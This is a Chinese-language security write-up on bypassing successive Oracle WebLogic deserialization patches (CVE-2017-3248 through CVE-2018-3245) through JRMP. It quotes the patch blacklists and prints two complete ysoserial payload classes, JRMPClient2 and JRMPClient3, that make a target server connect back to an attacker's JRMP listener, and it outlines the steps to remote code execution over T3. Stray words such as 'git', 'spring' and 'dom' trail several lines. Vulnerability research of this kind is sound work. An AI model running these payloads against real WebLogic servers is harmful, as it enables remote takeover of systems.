說一下復現CVE-2017-3248能夠參考p牛的環境,p牛的環境CVE-2018-2628實際就是CVE-2017-3248,他漏洞編號這塊寫錯了。
攻擊流程就以下圖,攻擊者開啓JRMPListener監聽在1099端口,等待受害者連接,當受害者連接時,把gadgets返回給客戶端:
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CVE-2017-3248之後的漏洞都是利用了JRMP java遠程方法協議,利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,並使用UnicastRef和遠端創建tcp鏈接,獲取RMI registry,最終將加載的內容利用readObject()進行解析,致使以前序列化的惡意代碼執行。java
具體利用的時候用ysoserial的payload,用到Proxy代理。
復現2017-3248就看p牛的github,這裏主要復現下CVE-2017-3248繞過。先看一下這漏洞的補丁,通常反序列操做防護resolveProxyClass和resolveClass方法重寫,進行黑名單匹配。這裏也就是咱們重點看的:git
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if (intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces);
補丁只是在resolveProxyClass方法將java.rmi.registry.Registry加入黑名單,沒有將UnicastRef加入黑名單,因此出現如下倆種繞過:一、不使用代理機制就反序列化時就不會進入resolveProxyClass方法
二、找一個java.rmi.activation.Activator來替代java.rmi.registry.Registry生成payloadgithub
先看第一種的payload,在ysoserial攻擊修改以下代碼把Proxy去掉,從新打jar包,利用方式和CVE-2017-3248同樣,可以繞過resolveProxyClass執行命令:
在看一下這塊的補丁,在resolveClass時就把UnicastRef類防住了。web
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
跟入checkLegacyBlacklistIfNeeded函數
跟到這裏,看到若是反序列化的類是在黑名單中就拋出異常。
第二種繞過方式就是廖新喜的payload,可使用java.rmi.activation.Activator來替代java.rmi.registry.Registryspring
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> { public Activator getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader()); PayloadRunner.run(JRMPClient2.class, args); } }
CVE-2018-2893的補丁將RemoteObjectInvocationHandler放入到了黑名單,而CVE-2018-2628的黑名單以下服務器
CVE-2018-2628補丁 private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
CVE-2018-2893的補丁 private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler"};
執行的這裏會被黑名單攔截。
還有一種繞過方式就是CVE-2018-2893利用WebLogic 內部類 weblogic.jms.common.StreamMessageImpl 可被序列化而且在反序列化時能夠調用RMI的類,能夠繞過WebLogic 的黑名單限制。
payload以下,打好的jar包在這裏:dom
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> { public Object streamMessageImpl(byte[] object) { StreamMessageImpl streamMessage = new StreamMessageImpl(); streamMessage.setDataBuffer(object, object.length); return streamMessage; } public Object getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID objID = new ObjID(new Random().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port); UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler); return streamMessageImpl(Serializer.serialize(object)); } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
resolveClass處理到StreamMessageImpl時,
來到CVE-2016-0638的漏洞觸發點,其中859行加入了過濾代碼。當執行到865行時,跟進
java.rmi.server.RemoteObjectInvocationHandler被加入黑名單
CVE-2018-2893繞過參考https://xz.aliyun.com/t/2479#toc-2主要是繞過黑名單RemoteObjectInvocationHandler類,這個CVE編號就是:tcp
RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler
最後說下怎麼找到的RMIConnectionImpl_Stub,實際上就是找RemoteObject類的子類。
CTRL+H找到這三個是RemoteObject的子類
RemoteStub找他的子類,最後找到RMIConnectionImpl_Stub類了
查看一下繼承關係,下面這樣的操做主要查找其父類比較方便。
因此 CVE-2018-3245的補丁就是將基類RemoteObject禁掉,而不是禁用其子類
payload參考:https://github.com/pyn3rd/CVE-2018-3245
gadgets經測試用Jdk7u21可以RCE。
我測試沒有打CVE-2018-3245補丁,對RMIConnectionImpl_Stub沒有處理致使繞過
看下完整利用過程:
生產poc
開啓JRMP服務
經過T3協議寫入payload
受害服務器鏈接JRMP服務,攻擊者將Jdk7u21的gadgets發送給受害服務器,致使RCE。
函數
參考連接:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
https://xz.aliyun.com/t/2479#toc-0
http://www.4hou.com/vulnerable/12874.html
https://paper.seebug.org/584/